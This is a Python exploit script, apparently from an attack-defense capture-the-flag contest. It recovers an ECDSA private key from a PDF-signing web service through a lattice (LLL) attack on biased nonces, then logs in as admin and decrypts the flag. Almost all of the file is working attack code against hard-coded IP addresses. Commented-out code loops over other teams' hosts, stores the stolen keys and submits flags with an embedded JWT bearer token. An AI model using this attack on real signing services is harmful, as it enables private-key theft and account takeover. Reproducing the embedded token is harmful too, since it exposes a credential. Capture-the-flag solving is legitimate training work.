165 lines
5.6 KiB
Python
165 lines
5.6 KiB
Python
import requests
|
|
import sys
|
|
import os
|
|
import hashlib
|
|
from sage.all import matrix, Integer, Zmod, vector
|
|
# Add the parent directory to sys.path
|
|
parent_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
|
|
sys.path.insert(0, parent_dir)
|
|
from src.module import *
|
|
from reportlab.lib.pagesizes import letter
|
|
from reportlab.pdfgen import canvas
|
|
import io
|
|
import PyPDF2
|
|
from src.module.decdsa import *
|
|
from ecdsa import NIST256p
|
|
curve = NIST256p
|
|
order = int(curve.order)
|
|
|
|
# checking Login
|
|
def login(userData, url):
|
|
sess = requests.Session()
|
|
r = sess.post(url+'/login', data=userData, timeout=5)
|
|
assert 'Welcome to'.lower() in r.text.lower()
|
|
return sess
|
|
|
|
# sending pdf
|
|
def sendPdf(session, pdfbytes, url):
|
|
sendata = ('main.pdf', pdfbytes, 'application/pdf')
|
|
filedata = {'file': sendata}
|
|
r = session.post(url+'/sign', files=filedata, timeout=5)
|
|
signed_pdf = r.content
|
|
signed_pdf_stream = io.BytesIO(signed_pdf)
|
|
return signed_pdf_stream
|
|
|
|
def getFlag(session, private, url):
|
|
r = session.get(url+'/admin_panel', timeout=5)
|
|
enc_flag = r.text.split("encrypted flag: ")[1].split("</p>")[0]
|
|
return decryptMessage(enc_flag, private)
|
|
|
|
# create pdf
|
|
def create_pdf_bytes(text):
|
|
buffer = io.BytesIO()
|
|
c = canvas.Canvas(buffer, pagesize=letter)
|
|
c.setTitle("Simple PDF")
|
|
c.drawString(100, 750, text)
|
|
c.showPage()
|
|
c.save()
|
|
pdf_bytes = buffer.getvalue()
|
|
buffer.close()
|
|
return pdf_bytes
|
|
|
|
# extract signature and data
|
|
def extractPdf(pdfbytes):
|
|
pdf_reader = PyPDF2.PdfReader(pdfbytes)
|
|
signature_text = pdf_reader.metadata.get('/Signature', '')
|
|
signature = bytes.fromhex(signature_text)
|
|
pdf_data = io.BytesIO()
|
|
pdf_writer = PyPDF2.PdfWriter()
|
|
for page in pdf_reader.pages:
|
|
pdf_writer.add_page(page)
|
|
|
|
pdf_writer.write(pdf_data)
|
|
pdf_data.seek(0)
|
|
pdf_content = pdf_data.read()
|
|
return pdf_content,signature
|
|
|
|
# make an dataset signature
|
|
def createDataset(session, inc, url):
|
|
ecdsa = DECDSA("ababab")
|
|
dataset = []
|
|
for i in range(inc):
|
|
temp = str(random.getrandbits(512))
|
|
pdfbytes = create_pdf_bytes(temp)
|
|
signedData = sendPdf(session, pdfbytes, url)
|
|
content, sign = extractPdf(signedData)
|
|
r1, r2, s = ecdsa.bytes_to_sign(sign)
|
|
message = content
|
|
m1, m2 = message[:len(message)//2], message[len(message)//2:]
|
|
h1 = hashlib.sha256(m1).hexdigest()[2:]
|
|
h2 = hashlib.sha256(m2).hexdigest()[2:]
|
|
z1 = int(h1, 16) % order
|
|
z2 = int(h2, 16) % order
|
|
dataset.append([temp, z1, z2, r1, r2, s])
|
|
return dataset
|
|
|
|
# attack
|
|
def biasedNonce(dataset, inc):
|
|
B = 2**251
|
|
p = order
|
|
Zn = Zmod(p)
|
|
|
|
m = [[order,0] + [-Integer((pow(dataset[i-1][5], -1, order)*(dataset[i-1][1]+dataset[i-1][2])-pow(dataset[i][5], -1, order)*(dataset[i][1]+dataset[i][2]))%order) for i in range(1, inc)]]
|
|
m += [[0,Integer(B)/order] + [Integer((pow(dataset[i-1][5], -1, order)*(dataset[i-1][3]+dataset[i-1][4])-pow(dataset[i][5], -1, order)*(dataset[i][3]+dataset[i][4]))%order) for i in range(1, inc)]]
|
|
inc -= 1
|
|
m += [[0,0]+[0]*i+[order]+[0]*(inc-i-1) for i in range(inc)]
|
|
|
|
Mat = matrix(m)
|
|
for line in Mat.LLL():
|
|
if(line[0]==order):
|
|
key = Zn(line[1]*p/B)
|
|
return order-key
|
|
|
|
def main(url):
|
|
try:
|
|
userData = {'username': "user", "password": "user"}
|
|
session = login(userData, url)
|
|
inc = 70
|
|
dataset = createDataset(session, inc, url)
|
|
print("success generate dataset:",len(dataset))
|
|
private = hex(int(biasedNonce(dataset, inc)))[2:]
|
|
adminData = {'username': "admin", "password": private}
|
|
session = login(adminData, url)
|
|
flag = getFlag(session, private, url)
|
|
return flag, private
|
|
except:
|
|
return None, None
|
|
|
|
for i in range(100):
|
|
flag, private = main('http://54.179.25.137:11000/')
|
|
print(flag)
|
|
|
|
# listu = [
|
|
# "http://47.129.153.66:11000",
|
|
# "http://54.255.201.188:11000",
|
|
# "http://47.128.224.208:11000",
|
|
# "http://13.250.57.255:11000",
|
|
# "http://47.129.120.12:11000",
|
|
# "http://52.77.232.211:11000",
|
|
# "http://13.212.110.53:11000",
|
|
# "http://54.254.138.70:11000",
|
|
# "http://54.255.228.54:11000",
|
|
# "http://13.212.239.67:11000"
|
|
# ]
|
|
|
|
# import json
|
|
|
|
# def submitFlag(flag):
|
|
# url = 'http://159.223.57.92:5000/api/flag'
|
|
# token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyMzgxOTU5NCwianRpIjoiNTVkYzM0MjQtNzFhNy00OTU3LWFhNTItYzQyZTE4NTgzMzAxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6eyJ1c2VybmFtZSI6InNlaGFkIn0sIm5iZiI6MTcyMzgxOTU5NCwiY3NyZiI6IjYxMjVkMWI2LTgwYTgtNDEwOC1hNjgyLTY1ZmMwMzQ5NTcwMSIsImV4cCI6MTcyMzkwNTk5NH0.r6vJbs8uxD46PSO-1tJm-zhmcDq1lk_mWQW7dICQEfU'
|
|
# headers = {
|
|
# 'Authorization': f'Bearer {token}',
|
|
# 'Content-Type': 'application/json'
|
|
# }
|
|
# data = { 'flag': flag }
|
|
# response = requests.post(url, headers=headers, data=json.dumps(data))
|
|
# return response.json()
|
|
|
|
# with open("privss.db","wb") as f:
|
|
# for url in listu:
|
|
# flag, private = main(url)
|
|
# f.write(url.encode()+b";"+private.encode()+b"\n")
|
|
# print("get url:",url, "flag:" ,flag)
|
|
|
|
# with open("privss.db","rb") as f:
|
|
# privates = f.readlines()
|
|
# for line in privates:
|
|
# try:
|
|
# url = line.decode().strip().split(";")[0]
|
|
# privkey = line.decode().strip().split(";")[1]
|
|
# adminData = {'username': "admin", "password": privkey}
|
|
# session = login(adminData, url)
|
|
# flag = getFlag(session, privkey, url)
|
|
# print("url:",url,submitFlag(flag))
|
|
# except:
|
|
# print("url:",url,"is down") |